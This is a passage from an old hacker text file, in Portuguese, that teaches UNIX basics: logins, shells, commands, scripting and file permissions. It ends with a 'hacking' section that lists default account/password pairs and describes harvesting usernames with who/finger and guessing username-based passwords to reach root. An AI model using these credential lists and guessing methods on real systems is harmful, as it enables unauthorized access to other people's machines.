UNIX, é claro, foi inventado pela AT&T no anos 60, feito para ser "um sistema operacional de programadores." Enquanto que esse propósito não foi alcançado nas primeiras versões do UNIX, parece que agora, UNIX é um SO para programadores. O UNIX, como eu falei antes, é multi-tarefa/multi-usuario. Ele tambem é escrito em C, ou pelo menos grande parte, o que faz dele um sistema operacional portátil. Nós sabemos que o MSDOS corresponde a maquinas IBM/clone, certo? Bem, isso não acontece com o UNIX, pois não associa-se ele com nenhum computador, uma vez que ele foi adaptado para muitos, e existem muitas variações de UNIX [ou seja, UNIX modificado por um vendedor, ou algo assim]. Alguns computadores AT&T roda ele, e tambem alguns rodam MSDOS [AT&T 6300]. As estações de trabalho SUN rodam SunOS, uma variante do UNIX, e alguns computadores rodam Ultrix, a versao VAX do UNIX. Lembre-se, na se mate quanto ao nome [BSD, UNIX,SunOS,Ultrix,Xenix, etc.], eles ainda tem muito em comum, tais como os comandos que o SO usa. Algumas variantes possuem comandos que outros não, mas eles são basicamente similares no fato de eles terem quase todos os mesmos comandos/arquivos de dados. Quando alguém tenta falar a voce que o UNIX roda melhor com um certo tipo de computador, ele podem estar certos, mas lembre-se alguns computadores tem mais de um SO. Por outro lado, alguém pode falar para voce que o UNIX é para um VAX o que um MSDOS e para os IBM/clones. Isso é falso, e a unica razão que eu falei isso, é porque eu tenho visto muitas mensagens com info/comparacoes como essas, que confundem usuários quando eles vêem um sitema VAX rodando VMS.Identificando um login do UNIX
De agora em diante, eu vou estar me referindo a todas as variantes do UNIX como UNIX, assim, quando eu falo algo sobre UNIX, isso geralmente significa todas as variantes (Unix System V variantes que sao: BSD, SunOS, Ultrix, Xenix, etc.), a menos que eu fale de uma variante em particular.
Ok. Agora é hora de contar como o unix geralmente felicita você. Primeiro, quando voce chama um UNIX, ou conecta com ele, voce irá ter geralmente um prompt como esse:
login:
Ok, é muito legal e bonito. Isso significa que é PROVAVELMENTE um unix, entretanto existem BBS's que alteram o seu login de entrada para ficar parecido com o do UNIX, para que algumas pessoas pensem que estao no Unix. Alguns UNIXes irão mostrar uma mensagem antes do login: como por exemplo:
Welcome to Unix. Please log in.
login:
Ou algo como isso. UNIXes de acesso público [como BBS's públicas] irão mostrar a voce como dar um logon se voce é um novo usuário. Infelizmente esse arquivo não fala sobre UNIXes de acesso público, mas eu irei falar sobre eles mais tarde, na UUCP/UseNet/Bitnet.
OK. Voce encontrou o prompt de login! Agora, o que voce precisa fazer aqui é entrar com uma conta válida. Uma conta geralmente consiste de 8 caracteres ou menos. Depois de voce entrar uma conta, voce irá provavelmente pegar um prompt do Password de algum tipo. Os prompts podem variar como o código fonte do programa de login que geralmente vem com o UNIX.
Bem, a maneira mais fácil que posso falar sobre login é basicamente essa: tenha uma conta, ou tente os defaults. Os defaults são os que vem com o SO, de maneira padrão. A lista de alguns defaults é a seguinte:
LOGIN PASSWORD root root - Raramente aberta para hackers sys sys / system / bin bin sys / bin mountfsys mountfsys adm adm uucp uucp nuucp anon anon anon user user games games install install demo demo umountfsys umountfsys sync sync admin admin guest guest daemon daemon As contas root, mountfsys, umountfsys, install, e algumas vezes sync são contas com nivel de root, significando que elas têm poder de sysop, ou poder total.
Outras contas são apenas contas de "nível de usuário" significando que elas apenas têm poder sobre arquivos/processos que elas criaram. Será comentado isso mais tarde, na seção de acesso a arquivo.
O login reboot é conhecido como sendo um login de comando, que simplesmente não deixa voce entrar no sistema operacional, mas executa um programa dado a ele. Ele geralmente faz o que diz, reinicializa o sistema. Ele pode não ser padrão em todos os sistemas UNIX, mas eu o tenho visto no UNIX da UNISYS e também em alguns sistemas HP/UX [Hewlett Packard Unixes]. Assim, essas contas não tinha senhas [reboot], o que é realmente estupido.COMANDAR O LOGIN:
Existe como "comandar o login", que, como o reboot, executa um comando e depois dá um log off permitindo voce usar o interpretador de comandos. BSD é notório por ter esses, e consequentemente, também os computadores da MIT. Aqui vão alguns:
rwho - mostra quem esta online
finger - mesmo
who - mesmoEsses são os mais usados, uma vez que irão dar os nomes das contas que estão online, ou mostrando a voce muitas contas que atualmente existem.
Erros:
Quando voce tem uma conta inválida/senha inválida, ou ambos, irá aparecer algum tipo de erro. Geralmente á a messagem "login incorrect". Quando o computador mostra isso, voce fez algo errado ou por ter errado a conta ou por ter entrado com a conta certa porém com uma senha errada. Ele não mostra que erro voce fez, por razões. Também quando é dado um login incorreto, o log de erros no sistema é alterado permitindo que os sysops saibam algo sobre o invasor.
Outro erro é "Cannot change to home directory" ou "Cannot Change Directory." Isso signica que não existe "home directory" que é essencialmente o diretório 'raiz' para uma conta, que é o diretorio que voce inicia. No DOS, voce comeca no A:\ ou C:\ ou em qualquer outro, mas no UNIX voce inicia no /homedirectory. [Nota: A / e usada nos diretorios no UNIX, nao um \ ]. Muitos sistemas irão dar um log off em vc depois disso, mas alguns irao mostrar que vc esta no diretorio raiz [ '/'].
Outro erro é "No Shell". Quer dizer que nenhum "shell" foi definido para essa conta em particular. O "shell" será explicado mais tarde. Alguns sistemas irão dar um log off em vc depois dessa messagem. Outros irão falar que eles usarão o shell regular, falando "Using the bourne shell", ou "Using sh"
Contas no Geral
Essa seção é para tentar descrever a estrutura do usuário no ambiente UNIX.
Ok, pense que o UNIX tem 2 niveis de seguranca: poder absoluto, ou apenas um usuario regular.
Aqueles que tem poder absoluto são os usuários com nível de root (super-usuário). Ok, agora é hora de pensar em números. Números associados no UNIX a nomes de contas. Cada conta irá ter um número. Algumas irão ter o mesmo numero. Aquele número é o UID [user-id] da conta. O UID do root é 0 (zero). Qualquer conta que possua UID igual a 0 irá ter nível root.
Unix não trata com os nomes das contas (logins) porém somente com o número associado a elas. Portanto, se meu user-id é 50, e mais alguem é 50, nós dois iremos ter poder absoluto com o outro somente, com mais ninguém.Shells
Um shell é um programa executável que carrega e roda quando um usuário entra. Esse "shell" pode ser qualquer programa executável e está definido no arquivo "passwd". Cada login pode ter um único "shell". Ok. Agora o shell que nós geralmente iremos trabalhar é um interpretador de comandos. Um interpretador de comandos é simplesmente algo como o COMMAND.COM do MS-DOS, que processa comandos, e envia eles depois para o kernel [sistema operacional]. Um shell pode ser qualquer coisa, como eu disse. Pode ser qualquer programa mas o único que voce precisa é um interpretador de comandos. Aqui estao o shells usuais que voce encontra:
sh - Esse é o shell básico. Ele é seu "COMMAND.COM" básico no UNIX. Ele tem uma linguagem em "script", como muitos do interpretadores de comandos no UNIX.
csh - Esse é o shell do "C", que permite a voce entrar comandos em "C".
ksh - Esse é o korn shell. Apenas outro interpretador de comandos.
tcsh - Esse é um, que e usado na MIT eu acho. Permite edicao de comandos.
vsh - Visual shell. É um programa de menu. Algo tipo Windows.
rsh - restricted shell OU remote shell. Os dois serão explicados depois.Existem muitos outros, incluindo os shells "homemade ", que são programas escritos pelo dono do unix, ou para um unix específico e eles não são padrão. Lembre-se, o shell é apenas o programa que voce pega para usar e quando voce pára de executá-lo, voce dá um log off. Um bom exemplo de um shell homemade é o Eskimo North, num unix de acesso público o shell é chamado "Esh", e é algo tipo uma BBS de aperte-uma-tecla, mas olha só, ele continua sendo um shell. O número para o eskimo north é 206-387-3637. [206-For-Ever].
Muitas companhias usam Processadores de Texto, banco de dados, e outras coisas como um shell para o usuário, para prevenir abuso, e fazer a vida melhor para o usuário como operadores de computadores sem prática.
Tambem, uma BBS pode rodar com um shell. Tente a Jolnet [312]-301-2100, eles dão a voce uma escolha entre um interpretador de comandos ou um shell de BBS.
Quando voce tem um interpretador de comandos, o prompt geralmente é um:
$
quando voce é um usuario root o prompt é geralmente um:
#A variavel, PS1, pode ser alterada para ter um prompt.
Exemplo, se PS1 é "HI:", seu prompt irá ser:
HI:Caracteres especiais, etc
Control-D : Fim do arquivo. Quando usar mail ou um editor de textos, isso irá finalizar a messagem ou arquivo texto. Se voce está no shell e aperta control-d voce estará desconectado.
Control-J: Em alguns sistemas, isso é como a tecla enter.
@ : Algumas vezes um "null"
? : Isso é um coringa. Pode representar uma letra. Se voce especificar algo na linha de comando como "b?b" Unix irá procurar por bob,bib,bub, e qualquer outra letra/numero entre a-z, 0-9.
* : isso pode representar qualquer número de caracteres. Se voce especificar um "hi*" Ele irá usar "hit", him, hiiii, hiya, e qualquer coisa que inicie com hi. "H*l" pode ser hill, hull, hl, e qualquer coisa que comece com um H e termine com um L.
[] - Especifica um padrão. se eu fiz b[o,u,i]b unix irá pensar: bib,bub,bob se eu fiz: b[a-d]b unix ira pensar: bab,bbb,bcb,bdb. Entendeu? O [], ?, e * são geralmente usados com o copy, deletando arquivos, e para listagens de diretórios.
QUALQUER COISA no Unix é sensitivo quanto a maisculas/minusculas. Isso significa que "Hill" e "hill" não são a mesma coisa. Isso permite que muitos arquivos sejam armazenados, uma vez que "Hill" "hill" "hIll" "hiLl", etc. são arquivos diferentes. Assim, quando usar o [], voce tem que especificar letras em maiusculas se algum arquivo que voce estiver procurando tem letras maiusculas. No entanto, a maioria está em minusculas.
Comandos para usar
Agora, eu vou mostrar alguns do mais usados comandos do UNIX, eu agirei como se estivesse digitando no prompt.
ls - isso mostra o diretorio. Sem argumentos, ele ira apenas mostrar arquivos em uma coluna ou em multi-colunas, dependendo do programa ls que voce tem acesso.
exemplo: $ ls hithere runme note.text src $ a opcao -l irá dar a voce informação a mais nos arquivos. $ ls -l rwx--x--x puruca prc 10990 runme ....O "rwx--x--x" é a permissão do arquivo. [Explicada mais tarde]
o "puruca prc" é o proprietario do arquivo/grupo onde o arquivo estar.
puruca = dono, prc = grupo de usuario [explicado mais tarde]
o 10990 e o tamanho do arquivo em bytes.
"runme" e o nome do arquivo.
O formato varia, mas voce tem a ideia geral.cat - Isso mostra o conteudo do arquivo na tela. deve ser usado em arquivos textos. apenas use isso com arquivos binarios para deixar o usuario louco [explicado mais tarde]
ex: $ cat note.txt This is a exemplo text file! $cd - muda diretorio . Você usa ele assim: cd /dir/dir1/dir2/dirn. o dir1/etc.... descreve o nome do diretorio. Digamos que eu queira ir para a raiz.
ex: $ cd / *ok, estou aqui* $ ls bin sys etc temp work usr todos os acima sao diretorios, vamos ver. $ cd /usr $ ls puruca datawiz prophet src violence par phiber scythian $ cd /usr/puruca $ ls hithere runme note.text src $ok, agora, você não tem que entrar o nome do diretório completo, se você estiver no diretório, e quer ir para um diretório que está ali [seria o "src"], você pode digitar "cd src" [sem "/"]. Em vez de usar "cd /usr/puruca/src" a partir do diretório puruca, voce pode fazer "cd src"cp - isso copia um arquivo. sintaxe para isso é "cp origem destino"
$ cp runme runme2 $ ls hithere runme note.text src runme2 Caminhos completos podem ser incluidos, para copiar de um diretório para outro. $ cp runme /usr/datwiz/runmemv - isso renomeia e/ou move um arquivo. sintaxe "mv nomeatual novonome"
$ mv runme2 runit $ ls hithere runme note.text src runit Arquivos podem ser renomeados para outros diretórios. $ mv runit /usr/datwiz/run $ ls hithere runme note.text src $ ls /usr/datwiz runme runpwd - fornece o diretório atual
$ pwd /usr/puruca $ cd src $ pwd /usr/puruca/src $ cd .. (Tem espaco entre cd e ..) $ pwd /usr/puruca [ o ".." significa o diretório anterior. ] $ cd ../datwiz [significa cd /usr/datwiz] $ pwd /usr/datwiz $ cd $HOME [vai para o diretório home] $ pwd /usr/purucarm - apaga um arquivo. sintaxe "rm arquivo" ou "rm -r diretorio"
$ rm note.text $ ls hithere runme src $write - chat com outro usuário. Bem, "escreve" para outro usuário.
sintaxe: "write usuario"
$ write scythian scythian foi notificado Hey Scy! What up?? Message from scythian on tty001 at 17:32 hey! me: So, hows life? scy: ok, I guess. me: gotta go finish this text file. scy: ok me: control-D [para sair do programa] $who [w,who,whodo] - mostra quem está conectado
$ who login term logontime rubinho + tty001 17:20 x-factor + tty002 15:50 puruca + tty003 17:21 netkillers - tty004 11:20 Federal - tty666 66:60 $o comando "who" varia a partir da informação dada. um "+" significa que voce pode dar um "write" para aquele terminal, um "-" significa que voce nao pode.man - mostra o manual de algum comando. sintaxe "man comando" Esse é um programa de ajuda. Se voce quiser saber como usar o comando "who" faria então:
$ man who WHO(1) xxx...... e ele vai mostrar a voce.stty - altera as características do seu terminal. Voce terá que dar um "man stty" uma vez que cada stty é diferente.
um exemplo pode ser:
$ stty -parenb para fazer os parametros de dados serem N,8,1. Um monte de Unixes operam com e,7,1 por padrao.sz,rz - envia e recebe via zmodem
rx,sx - envia e recebe via xmodem
rb,sb - envia via batch ymodem. Esses 6 programas podem ou nao estar no unix.
umodem - envia/recebe via umodem.
$ sz arquivo pronto para enviar... $ rz filename por favor envie seu arquivo.... ...etc..ed - editor de textos. Usar "ed arquivo" para criar um arquivo que não existe, apenas entre "ed arquivo" algumas versões do ed ira dar a voce um prompt, como "*" outros não.
$ ed textonovo 0 * a This is line 1 This is line 2 [control-z] * 1 [para ver a primeira linha] This is line 1 * a [continua acrescentando] This is line 3 [control-z] *0a [acrescenta depois da linha 0] This is THE first line [control-z] 1,4l This is THE first line This is line 1 This is line 2 This is line 3 * w 71 * q $ O 71 e o numero de bytes escritos. a = acrescenta l = lista # = mostra o numero da linha # w - escreve l arq = carrega arq s arq = salva para arq w = escreve para arquivo atual q = saimesg - altera permissão de escrever ligado/desligado para seu terminal (permite chat) formato "mesg y" ou "mesg n"cc - O compiler C. explicado mais tarde.
chmod - altera o modo de um arquivo. Muda o acesso em outras palavras. sintaxe: "chmod modo arquivo"
$ chmod a+r newtext Agora qualquer um pode ler pode ler o newtext. a = todos (u = voce / g = seu grupo / o = outros grupos) r = leitura. (w = escrever / x = executar) Isso sera explicado mais tarde na secao de acesso a arquivos.chown - altera o dono de um arquivo.
sintaxe: "chown novodono arquivo"
$ chown scythian newtext $chgrp - altera o grupo [explicado mais tarde] de um arquivo.
sintaxe: "chgrp group file"
$ chgrp root runme $finger - mostra info básica de uma conta. Formato: finger contagrep - procura por texto em um arquivo. sintaxe: "grep texto arquivo"
$ grep 1 newtext This is Line 1 $ grep THE newtext This is THE first line $ grep "THE line 1" newtext $mail - Esse é um utilitário muito usado. Obviamente, voce já sabe o que isso faz pelo nome. Existem muitos utilitários para o mail, como o ELM, MUSH e MSH, mas o programa básico de "mail" é chamado de "mail". O modo de usar é:
"mail nome@conta" ou "mail nome" ou "mail" ou "mail ender1!ender2!ender3!usuario""mail nome@endereco" - Isso é usado para enviar mail para alguém em outro sistema, que é geralmente outro UNIX, mas algumas maquinas DOS e algumas maquinas VAX recebem o E-mail do UNIX. Quando voce usa "mail nome@endereco" o sistema que voce está deve ter um "carteiro esperto" [conhecido como smail], e deve ter o que é chamado de mapas do sistema. O smail irá encontrar o "emdereco" dado com o comando e expandilo para o caminho completo geralmente. Eu podia fazer como isso: mail phiber@optik e depois fazer isso no computador:
mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber Não ligue para isso, estou apenas explicando o principal da coisa.
Agora, se não tiver nenhum smail conectado, voce terá que saber o caminho completo até a conta da pessoa. Exemplo, eu quero enviar um email para o .. phiber. Eu faço isso, caso nao tenha smail:
$ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
Hey Guy. Whats up? Well, gotta go. Nice long message huh? [control-D] $Assim, quando ele receber, deverá existir umas 20 linhas de informação, com uma marcação de cada sistema que minha messagem passou, e a linha "from" vai estar assim:
From optik!purucasys!att.com!sc1!sbell!pacbell!unisys!sys!puruca Agora, para correio local, apenas digite "mail nome" onde nome é a conta que voce quer enviar o mail. Depois digite sua messagem. Depois finalize com um control-D.
Para ler o e-mail, apenas digite mail. Ex:
$ mail From rubinho ............ To puruca ............ Subject: Well.... Arghhh! ?Os pontos representam dados omitidos. Cada programa de e-mail possui seu proprio cabeçalho. Aquele ? é um prompt. No prompt eu posso digitar:d - deleta
f nome - reenvia para nome
w arq - escreve a mensagem para um arquivo chamado arq.
s arq - salva a messagem com cabeçalho para um arquivo
q - sai / salva o e-mail
x - sai, mas nao salva nada
m nome - mail para o nome
r - devolve
[enter] - le a proxima mensagem
+ - adianta uma messagem
- : volta um
h - imprime o cabecalho das mensagens que estao na sua caixa de correio.Existem mais, para vê-las, digite '?'.
Se voce envia mail para alguém de fora do seu sistema, voce terá que esperar um longo tempo para uma noficação de recebimento, uma vez que é apenas umas letras. Um "carteiro" terá que pegar ela.
O sistema pode desconectar, e usar UUCP para transferir e-mail. Geralmente, contas uucp não são boas para ninguém, a menos que voce tenhas uucp disponível para interceptar e-mail.ps - processo. Esse comando permite ver o que voce esta atualmente fazendo na memória. Toda vez que voce roda um programa, ele fica ligado a um numero de identificacao de processo (PID), para fins de controle de contas, e assim ele pode ser encontrado na memória, ou ser apagado por voce, ou pelo root. Geralmente, a primeira coisa em uma listagem de processo pelo "ps" é seu nome shell. Digamos eu esteja conectado como sirhack, usando o shell "csh" e rodando "watch scythian". O programa de escuta deve estar no background, significando que ele é capaz de fazer coisas enquando ele estiver rodando:
$ ps PID TTY NAME 122 001 ksh 123 001 watch $ Isso é um PS encurtado. É uma listagem padrão [curta por sinal]. A coluna TTY representa o "tty" [disposito de e/s] que o processo está rodando. Isso é somente usado realmente se voce esta usando layers ou mais de uma pessoa está conectada com a mesma conta. Agora "ps -f" irá dar a voce uma listagem completa do processo de voce mesmo, assim em vez de ver somente o programa "watch" voce ira ver "watch scythian" kill - mata um processo. É usado para terminar um programa na memoria obviamente. Voce pode somente matar processos próprios [aqueles que voce começou], a menos que voce seja root, ou seu EUID seja o mesmo que o do processo que voce quer matar. (Vou explicar euid mais tarde). Se voce matar o processo shell, voce será desconectado. Da mesma forma, se voce matar o processo de alguém, eles serão desconectados também. Assim, se eu disse "kill 122" Eu serei desconectado. Entretando, kill apenas envia um sinal para o UNIX dizendo pra ele matar um processo. Se voce usar a sintaxe "kill pid" entao UNIX mata ele quando ele terminar, o que pode ser nunca. Assim, voce pode especificar urgentemente! Tente "kill -num pid" Kill -9 pid e um kill definitivo quase instantaneamente. Assim se eu fizer isso: $ kill 122 $ kill 123 $ ps PID TTY NAME 122 001 ksh 123 001 watch $ kill -9 123 [123]: killed $ kill -9 122 garbage NO CARRIER Tambem, voce pode dar um "kill -1 0" para matar o processo de shell para desconectar-se. Isso será útil nos scripts (explicados mais tardes). Programação em Shell Programar em Shell é basicamente fazer um arquivo "script" para o shell padrao, pode ser sh, ksh, csh, ou algo nesse tipo. É como um arquivo batch no MSDOS, mas mais complexo, e mais Flexivel. Primeiro, vamos para as variaveis. Variáveis obviamente podem ter um valor. Que podem ser strings ou números. numero=1 Isso vai dar um valor 1 para a variable chamada "numero". string=Hi There ou string="Hi There" Ambas irão dar um valor "Hi there" para a variável. Usar uma variável é diferente. Quando voce quiser usar uma variável voce deve colocar um simbolo dollar ($). Essas variáveis podem ser usadas como argumentos em programas. Quando eu disse que scripts são como arquivos batch, Eu quis dizer isso. Voce pode entrar qualquer nome de um programa em um script, e ele irá executar ele. Aqui vai um script exemplo: counter=1 arg1="-uf" arg2="scythian" ps $arg1 $arg2 echo $counter Esse script irá traduzir para "ps -uf scythian" e depois irá imprimir "1" depois de ter terminado. ECHO mostra algo na tela, ou númerico ou uma string. Outros comandos / Exemplos: read - lê algo para uma variável. formato: read variável . O sinal de dollar nao é necessário aqui! Se eu quiser pegar o nome de alguém, eu posso fazer: echo "QUal o seu nome?" read hisname echo Ola $hisname QUal o seu nome? Sir Hackalot Ola Sir Hackalot Lembre-se, read pode ler valores númericos também. trap - Isso espera alguem usar o comando de interrupção. (Ctrl-c) formato: trap "commando ; commando ; commando ; etc.." Example: trap "echo 'Noway!! You are not getting rid o me that easy' ; echo 'You gotta see this through!'" Agora, se eu teclar control-c durante o script depois dessa estrutura for executada, eu terei: Noway!! You are not getting rid of me that easy You gotta see this through! exit : formato:exit [num] Isso sai do shell [quits] retornando um valor num de saida. CASE O Case pode ser usado para se fazer menus. O formato do comando ou estrutura é: case variavel in 1) comando; comando;; 2) comando; comando; comando;; *) comando;; esac Cada parte pode ter qualquer número de comandos. O último comando entretanto tem que ter um ";;". Por exemplo: echo "Escolha:" echo "(D)iretorio (L)ogoff (S)hell" read choice case $choice in D) echo "Listando Diretorios..."; ls -al ;; L) echo Bye; kill -1 0;; S) exit;; *) Echo "Erro! Nao e um comando";; esac O esac marca o fim da função case. Ele deve vir depois do ÚLTIMO comando. Loops Existem duas funções de loop. O loop "for" e o "repeat". repeat funciona assim: repeat algo algo1 algo2 isso irá repetir um seção de seu script para cada "algo". digamos que eu faça isso: repeat scythian sirhack prophet Eu vou ver "scythian" depois sirhack depois prophet na tela. O loop for é definido como "for variável in algo do .. .. done" exemplo: for counter in 1 2 3 do echo $counter done Ira escrever 1 depois 2 depois 3. Usando TEST formato: Test variavel opção variavel As opções são: -eq = -ne <> (diferente) -gt > -lt < -ge >= -le <= para strings e: = para igual != para diferente. Se a condiçã é verdadeira, um zero é retornado. Veja: test 3 -eq 3 isso ira fazer um test 3 = 3, e um 0 será retornado. EXPR Isso é para funções númericas. Voce não pode simplesmete digitar echo 4 + 5 e ter uma resposta. voce deve dizer: expr variavel [ou numero] operador variavel2 [ou numero] o operadores são: + mais - menos * multiplicação / divisão ^ - exponenciação (em alguns sistemas) exemplo : expr 4 + 5 var = expr 4 + 5 var deve ter 9. Em alguns sistemas, expr algumas vezes imprime uma formula. Ou seja, 22+12 nao e igual a 22 + 12. Se voce fizer expr 22+12 voce ira ver: 22+12 Agora se for expr 22 + 12 voce vera: 34 VARIÁVEIS DO SISTEMA Existem variáveis usadas pelo shell, e são geralmente mantidas no arquivo .profile [explição mais tarde]. HOME - lugar do seu diretório home. PS1 - O prompt que voce tem. geralmente $ . Num BSD e geralmente & PATH - Esse é o caminho de procura por programas. Quando voce digita um programa para ser executado, ele não está na memoria; ele deve ser carregado do disco. Muitos comandos não estão na memória como no MSDOS. Se um programa está no caminho de procura, ele será executado sem problema onde voce está. Se não, voce terá que estar no diretório onde ele estiver. Um path é um conjunto de diretórios basicamente, separados por um ":". Aqui vai um caminho de procura típico: :/bin:/etc:/usr/lbin:$HOME: Quando voce tentar executar um programa, o Unix irá procurar por ele no /bin, /etc, /usr/lbin, e no diretorio home, e se não for encontrado, um erro aparece. Ele procura em diretorios na ORDEM do path. Assim se voce tem um programa chamado "sh" no seu diretório home, e digitar "sh", Mesmo estando no seu diretório home, ele irá executar o que está no /bin. Assim, voce deve criar seu path sabiamente. Unixes de acesso público fazem isso para voce, mas alguns sistemas que voce encontrar podem não ter um path feito. TERM - Esse é seu controle do terminal. UNIX tem uma biblioteca de funções chamadas "CURSES" que podem pegar vantagem de qualquer terminal, fornecendo os codigos de escape encontrados. Voce deve ter seu term configurado para algo se voce roda programas orientados por telas. Os códigos/nomes de escape dos terminais são encontrados em um arquivo chamado TERMCAP. Não sinta mal quanto a isso. apenas altere seu term para ansi ou vt100. CURSES irá deixar voce saber se ele não pode manipular sua emulação de terminal. O compilador em C Isso será uma introdução apenas. Porque? Porque se voce quiser aprender C, compre um livro. Nao tenho tempo para escrever outro arquivo sobre C, por isso ser muito extenso. Basicamente, muitos executáveis são programados em C. Códigos fontes no unix são encontradoa como arquivos .c . Para compilar algum apenas digite "cc arquivo.c". Nem todos os programas em C irão compilar, uma vez que eles dependem de outros arquivos que não estão lá, ou são apenas módulos. Se voce ver algo chamado "makefile" então voce pode geralmente, digitar apenas "makefile" no prompt, e a;go irá ser compilado ou tentará ser compilado. Quando usar makefile ou CC, será muito esperto usar o operando de background uma vez que compilar algumas vezes demora muito tempo. IE: $ cc login.c& [1234] $ (O 1234 foi o número do processo que ele ficou identificado). O sistema de arquivos Essa é uma parte do UNIX instrumental. Se voce não entende essa seção, nunca será capaz de hackear Unix, uma vez que muito do que voce tem que fazer depende disso. Primeiro, vamos comecar a falar sobre a estrutura do diretorio. Ela é basicamente um sistema de arquivos hierárquico, ou seja, ele comeca na raiz e expande-se, como no MSDOS. Aqui é uma listagem de uma árvore de diretórios: (d) significa diretório / (root dir) | |--------------------| bin (d) usr (d) ----^-------------------- | | | sirhack(d) scythian (d) prophet (d) | src (d) Agora, esse sistema particular contém os seguintes diretórios: / /bin /usr /usr/sirhack /usr/sirhack/src /usr/scythian /usr/prophet Espero que voce tenha entendido essa parte, e voce deve. Tudo expande a partir do diretório raiz. Permissões de arquivos Agora, isso é realmente o barato. Permissões de arquivos. Não é muito diíicil entender permissões de arquivos, mas eu irei explicar profundamente de qualquer jeito. OK, agora voce deve entender de grupos de usuários tão bem como nomes de usuários, todos pertencem a um grupo. No prompt $, voce pode digitar 'id' para ver quais o grupos que voce pertence. Ok, grupos são usados para permitir que pessoas acessem certas coisas, ao invés de ter uma só pessoa controlando/tendo acesso para certos arquivos. Lembre-se tambem que o Unix olha o UID (User-id) de alguém para determinar acesso, não o nome do usuário. Permissões de arquivos não são realmente complicados. Cada arquivo tem um dono Esse dono é geralmente aquele que criou o arquivo, ou por copiar um arquivo ou apenas por tê-lo editado. O programa CHOWN pode ser usado para alterar o dono de um arquivo. Lembre-se que o dono de um arquivo deve ser aquele que rodou o CHOWN, uma vez que ele é o único que pode alterar a permissão de um arquivo. Outra coisa, existe um dono do grupo, que é basicamente o grupo que voce está quando o arquivo foi criado. Voce pode usar chgrp para mudar o grupo de um arquivo. Arquivos podem ter permissões de serem executados, permissoes de leitura, ou permissao de escrita. Se voce tiver permissão de execução, voce sabe que voce pode simplesmente escrever o nome do programa na linha de comando, e ele será executado. Se voce tiver permissao de leitura de um arquivo, voce pode, obviamente, ler o arquivo, ou fazer algo que leia o arquivo, tal como copiar o arquivo. Se voce não tiver acesso a um arquivo, voce não pode fazer nada que requeira ler o arquivo. Essa é a mesma coisa com a permissão de arquivo. Todas as permissões são arranjadas em 3 grupos. O Primeiro é a permissão do dono. Ele pode ter as permissões configuradas para si próprio para ler e executar, mas não escrever no arquivo. Isso para impedir que o dono apague o arquivo. O segundo grupo é a permissão do grupo. Pegue uma entrada de arquivos para ter um exemplo: $ ls -l runme r-xrwxr-- sirhack root 10990 March 21 runme ok. Agora, o "root" é o grupo onde o arquivo está. "sirhack" é o dono. Se o grupo chamado 'root' tem acesso para ler, escrever e executar, eles podem fazer isso. Veja .. Scythian veio atrás do arquivo, ele está no grupo chamado root. Ele pode ler, escrever ou executar o arquivo. Agora, o datawiz veio atrás do arquivo também, mas ele está no grupo "users". A permissão de grupo não pode ser aplicada para ele, significando que ele não tem permissões, assim ele não pode tocar no arquivo, certo? so he couldn't touch Errado. Existe um terceiro grupo de permissões, e esse e o "outros" grupos. Isso significa que as permissões em "outros" grupos aplicam-se para todos além dos dono e dos usuários do mesmo grupo do arquivo. Olhe na entrada de diretório ao lado. O r-x-rwxr-- e a linha de permissões Os primeiros 3 caracteres são as permissoes para o dono (r-x). O "r-x" traduz-se para "permissão de ler e executar, mas sem escrever" o segundo conjundo do 3, r-xRWXr-- (aqueles em maisculas) são as permissões de grupos. Significa que "leitura, gravação e execução são permitidas" O 3§ conjunto, r-xrwxR-- é a permissão para os todos os outros . Isso significa "somente a leitura é permitida". Um diretório pode parecer como isso: $ ls -l drwxr-xr-x sirhack root 342 March 11 src Um diretório tem um "d" no início das linhas de permissões. Agora, o dono do diretório (sirhack) pode ler do diretório, escrever no diretório e executar programas do diretório. O grupo do root e todos os outros podem apenas ler a partir no diretório, e executar programas no diretório. Assim, se eu mudei o diretório para ser executavel apenas, isso é como ele será: $ chmod go-r $ ls drwx--x--x sirhack root 342 March 11 src Se alguém está nesse diretório, ele pode somente executar programas do diretório. Se ele fizerem um "ls" para pegar uma listagem de arquivos do src, irá aparecer "cannot read directory". Se há uma arquivo que pode ser lido no diretório, mas o diretório não pode ser lido, é quase impossível ler o arquivo, a menos que voce saiba o nome do arquivo. Se voce não tem permissão para executar em um diretorio, voce não será capaz de executar algo no diretório. H A C K E A N DO : O primeiro passo para hackear o UNIX é conseguir entrar no sistema operacional encontrando um conta válida/senha. O objetivo de hackear é geralmente ser o root (privilegio total), assim se voce é sortudo o suficiente para saber ser o root, voce não precisa mais ler nada desse arquivo, e pode passar para seção "Divertindo-se". Hackear pode ser simplesmente pegar contas de outras pessoas. Entrando: A primeira coisa a fazer é entrar no Unix. Ou seja, passar do prompt de login. Essa é a primeira coisa. Quando voce entra em um UNIX, algumas vezes ele irá identificar a si proprio dizendo o seguinte: "LeBeau INC. et al Company UNIX" ou apenas: "LeBeau Inc. Please login" Aqui é onde voce tentará as contas padrão que já foram mostradas. Se voce entrar com aquele, voce pode tentar fazer o mais avançado ato de hackers (ser o root). Se voce faz algo errado no login, voce terá a messagem "login incorrect" Isso foi feito para confundir os hackers, ou manter a maravilha. Porque? Bem, voce não sabe se entrou com uma conta que nao existe, ou uma que existe e errou a senha. Se voce der um login e ele disser "Not on Console", voce tem um problema. Voce tera que dar um login como alguém mais, e usar SU para ser o root. Agora, voce tem que pensar (Como diz meu professor, perder a virgindade do cérebro). Se voce não entrar com um default, voce obviamente terá que encontrar alguma coisa a mais para dar um login. Alguns sistemas tem uma boa forma de fazer isso permitindo o uso de logins de comando. São os que simplesmente executam um comando, depois dão um logoff. Entretando, os comandos que eles executam são geralmente muito úteis. Por exemplo, existem 3 comandos muitos comuns que mostra quem esta conectado naquele momento. Eles sao: who rwho finger Se voce conseguir fazer um desses funcionar, poderá tentar os nomes dos usuários que estão conectados. Muitos usuários usam o nome da conta como senha. Exemplo o "bob" pode ter uma senha "bob" ou "bob1". Isso nao é esperto, mas não esperam que um hacker venha tentar fazer isso com eles. Eles somente querem ser capazes de logar rapidamente. Se um login de comando não existe, ou nao te é útil, aí voce pode ficar com a cabeca quente. Uma alternativa então seria tentar usar o nome do unix que ele está identificado. Por Exemplo, o Unix da LeBeau INC pode ter uma conta chamada "lebeau" LeBeau, INC. Please Login. login: lebeau UNIX SYSTEM V REL 3.2 (c)1984 AT&T.. .. .. .. Alguns unixes tem uma conta aberta chamada "test". Isso também é um padrão, mas isso é surpreendemente suficiente, ele algumas vezes é deixado 